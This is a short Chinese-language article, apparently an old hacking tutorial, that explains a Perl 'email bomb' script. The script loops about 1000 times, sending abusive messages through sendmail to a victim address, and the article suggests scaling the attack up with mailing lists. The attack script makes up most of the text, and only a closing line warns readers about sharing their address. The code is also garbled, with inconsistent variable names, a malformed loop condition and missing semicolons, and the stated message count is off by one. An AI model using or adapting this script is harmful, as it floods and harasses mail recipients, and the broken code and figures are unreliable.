Unix下的E-mial炸弹

　　　　E-mail 炸弹有很多种，今天我来分析一个用在UNIX的实例。
　　
　　　　程序用Perl编写
　　
　　　　#!/bin/perl (perl所在目录）
　　
　　　　$mailprop='/user/lib/sendmail'; （sendmail所在目录)
　　
　　　　$recipient='victim@targeted_site.com'( 攻击目标）
　　
　　　　$variable_initialized_to_0=0;(设定变量）
　　
　　　　while($variable_initialized_to_0=0)<1000)
　　
　　　　{
　　
　　　　open(MAIL,"/$mailprog$recipient") || die" Can't open $mailprog!\n
　　
　　　　 print MAIL"YOU Suck!" close(MAIL);
　　
　　　　sleep 3;
　　
　　　　$variable_initialized_to_0++;(自增）
　　
　　　　}
　　
　　　　上述代码将一个变量variable_initialized_to_0初使化为0然后指定只要该变量小1000，就将邮件发送给目标接收者。程序经过while循环一次，变量variable_initialized_to_0 的值加1。邮件将被传送999次。 然而如果想要手工输入一系列攻击目标的话那就很费时，解决的最好方法是利用邮件列表，所以，你以后看到要你填写诸如“请留下你的MAIL，当我们的主页更该时可以通知你。”一定要慎重考虑！！